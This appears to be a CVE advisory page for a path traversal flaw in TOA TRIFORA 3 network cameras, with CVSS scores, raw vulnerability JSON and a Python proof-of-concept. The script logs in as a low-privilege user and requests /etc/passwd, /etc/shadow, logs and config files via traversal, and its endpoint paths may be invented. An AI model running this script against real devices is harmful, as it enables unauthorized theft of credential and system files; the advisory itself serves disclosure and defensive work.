Security Vulnerability Report
中文
CVE-2026-22876 CVSS 6.5 MEDIUM

CVE-2026-22876

Published: 2026-01-16 09:16:23
Last Modified: 2026-04-15 00:35:42

Description

Path Traversal vulnerability exists in multiple Network Cameras TRIFORA 3 series provided by TOA Corporation. If this vulnerability is exploited, arbitrary files on the affected product may be retrieved by a logged-in user with the low("monitoring user") or higher privilege.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

TOA TRIFORA 3 series Network Cameras (all firmware versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-22876 PoC - Path Traversal in TOA TRIFORA 3 Cameras # Target: TOA TRIFORA 3 Series Network Camera TARGET = "http://target-camera-ip" USERNAME = "monitoring_user" PASSWORD = "user_password" def exploit_path_traversal(): """Exploit path traversal to read arbitrary files""" # Login to get session login_url = f"{TARGET}/cgi-bin/admin/login" session = requests.Session() # Attempt login login_data = { "username": USERNAME, "password": PASSWORD } try: # Login request resp = session.post(login_url, data=login_data, timeout=10) # Path traversal file read files_to_read = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../var/log/messages", "../../../../etc/config/system.conf" ] for file_path in files_to_read: exploit_url = f"{TARGET}/cgi-bin/admin/fileRead?path={file_path}" response = session.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(response.text[:500]) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-22876 PoC - TOA TRIFORA 3 Path Traversal") exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22876", "sourceIdentifier": "[email protected]", "published": "2026-01-16T09:16:23.013", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal vulnerability exists in multiple Network Cameras TRIFORA 3 series provided by TOA Corporation. If this vulnerability is exploited, arbitrary files on the affected product may be retrieved by a logged-in user with the low(\"monitoring user\") or higher privilege."}, {"lang": "es", "value": "Una vulnerabilidad de salto de ruta existe en múltiples cámaras de red de la serie TRIFORA 3 proporcionadas por TOA Corporation. Si se explota esta vulnerabilidad, archivos arbitrarios en el producto afectado pueden ser recuperados por un usuario autenticado con privilegios bajos ('usuario de monitoreo') o superiores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN08087148/", "source": "[email protected]"}, {"url": "https://www.toa-products.com/securityinfo/pdf/tv2025-001jp.pdf", "source": "[email protected]"}]}}